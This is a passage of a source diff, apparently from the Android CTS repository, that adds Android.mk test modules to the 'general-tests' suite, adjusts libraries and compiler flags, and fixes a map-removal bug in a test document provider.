-                          -Xep:JUnitAmbiguousTestClass:ERROR \
+LOCAL_ERROR_PRONE_FLAGS:= -Xep:CollectionIncompatibleType:ERROR \
+                          -Xep:EqualsNaN:ERROR \
+                          -Xep:FormatString:ERROR \
+                          -Xep:JUnit3TestNotRun:ERROR \
                           -Xep:TryFailThrowable:ERROR
 
diff --git a/hostsidetests/aadb/Android.mk b/hostsidetests/aadb/Android.mk
index 5cc2c10..203151b 100644
--- a/hostsidetests/aadb/Android.mk
+++ b/hostsidetests/aadb/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.aadb
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/abioverride/Android.mk b/hostsidetests/abioverride/Android.mk
index 88c44d9..9b92985 100644
--- a/hostsidetests/abioverride/Android.mk
+++ b/hostsidetests/abioverride/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CTS_TEST_PACKAGE := android.host.abioverride
 
diff --git a/hostsidetests/abioverride/app/Android.mk b/hostsidetests/abioverride/app/Android.mk
index cdf063c..e49622c 100755
--- a/hostsidetests/abioverride/app/Android.mk
+++ b/hostsidetests/abioverride/app/Android.mk
@@ -34,7 +34,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAbiOverrideTestApp
 
diff --git a/hostsidetests/abioverride/app/jni/Android.mk b/hostsidetests/abioverride/app/jni/Android.mk
index c500100..d806a2c 100644
--- a/hostsidetests/abioverride/app/jni/Android.mk
+++ b/hostsidetests/abioverride/app/jni/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
 # Ignore unused parameters.
-LOCAL_CFLAGS += -Wno-unused-parameter
+LOCAL_CFLAGS += -Wall -Werror -Wno-unused-parameter
 
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
 LOCAL_CXX_STL := none
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 6afcce8..fa78eab 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
index 1d4e58f..446e047a 100644
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
index 606b9ce..4faf112 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
@@ -21,12 +21,12 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_PACKAGE_NAME := CtsAppAccessData
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # although not strictly necessary, sign this app with different cert than CtsAppWithData
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
index 1109280..c4f0eba 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
@@ -21,12 +21,12 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_PACKAGE_NAME := CtsAppWithData
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
index b98ba68..1311944 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_PACKAGE_NAME := CtsDeclareNonRuntimePermissions
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
index ec89ce9..60ece87 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDocumentClient
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
index 915d432..0084eb3 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDocumentProvider
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index edf6f15..91abb89 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -256,7 +256,7 @@
     @Override
     public void deleteDocument(String documentId) throws FileNotFoundException {
         final Doc doc = mDocs.get(documentId);
-        mDocs.remove(doc);
+        mDocs.remove(doc.docId);
         for (Doc parentDoc : mDocs.values()) {
             parentDoc.children.remove(doc);
         }
@@ -268,7 +268,7 @@
         // There are no multi-parented documents in this provider, so it's safe to remove the
         // document from mDocs.
         final Doc doc = mDocs.get(documentId);
-        mDocs.remove(doc);
+        mDocs.remove(doc.docId);
         mDocs.get(parentDocumentId).children.remove(doc);
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
index 930ac82..a94b206 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsEncryptionApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
index e5cd607..eadbb82 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index b13432b..6d0a589 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -27,7 +27,7 @@
 	ctstestrunner
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
index 1dd66a6..a7078fe 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
index 4cd5d79..e714536 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
@@ -24,7 +24,7 @@
     legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
index afd8903..930370a 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
index 1b1ee7d..24d9f2a 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
@@ -24,7 +24,7 @@
     legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
index e1547a1..5172dff 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
@@ -23,7 +23,7 @@
     legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
index b1b7f83..4e49387 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_PACKAGE_NAME := CtsEscalateToRuntimePermissions
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
index 560607b..272d0f9 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
@@ -18,13 +18,13 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsExternalStorageApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
index 101d564..5645a7f 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_PACKAGE_NAME := CtsInstantCookieApp
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
index 31dcd58..d49fe73 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
@@ -21,12 +21,12 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_PACKAGE_NAME := CtsInstrumentationAppDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with different cert than CtsTargetInstrumentationApp
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 8a7f8d9..9225ee2 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_EXPORT_PACKAGE_RESOURCES := true
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 5a5ab0d..15a0b25 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -19,7 +19,7 @@
 
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_EXPORT_PACKAGE_RESOURCES := true
 LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
 
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 39111fc..3b11085 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -19,7 +19,7 @@
 
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index 15beac4..70880ba 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -19,7 +19,7 @@
 
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index fd4d927..ff6be32 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsMultiUserStorageApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 69d3b4a..31b683d 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_PACKAGE_NAME := CtsNoRestartBase
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
index 204275b..c92375e 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_PACKAGE_NAME := CtsNoRestartFeature
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
index d038a70..f1dbf84 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsPkgAccessApp
 
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
index e0e900e..780214b 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with a different cert than CtsUsePermissionDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
index d4567e3..78b7f91 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with a different cert than CtsUsePermissionDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index bb171e2..199e429 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SDK_VERSION := current
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 LOCAL_PACKAGE_NAME := CtsPrivilegedUpdateTests
@@ -46,7 +46,7 @@
 LOCAL_BUILT_MODULE_STEM := package.apk
 # Make sure the build system doesn't try to resign the APK
 LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := CtsShimPrivUpgrade.apk
 
@@ -63,7 +63,7 @@
 LOCAL_BUILT_MODULE_STEM := package.apk
 # Make sure the build system doesn't try to resign the APK
 LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := CtsShimPrivUpgradeWrongSHA.apk
 
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
index adf6a14..d265b5b 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsReadExternalStorageApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
index 548e397..3437b2f 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsSharedUidInstall
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with a different cert than CtsSharedUidInstallDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
index 0f6cd69..47b066a 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsSharedUidInstallDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with a different cert than CtsSharedUidInstall
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
index a77a172..9309f17 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsSimpleAppInstall
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with a different cert than CtsSimpleAppInstallDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
index e478afb..fe69246 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsSimpleAppInstallDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with a different cert than CtsSimpleAppInstall
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
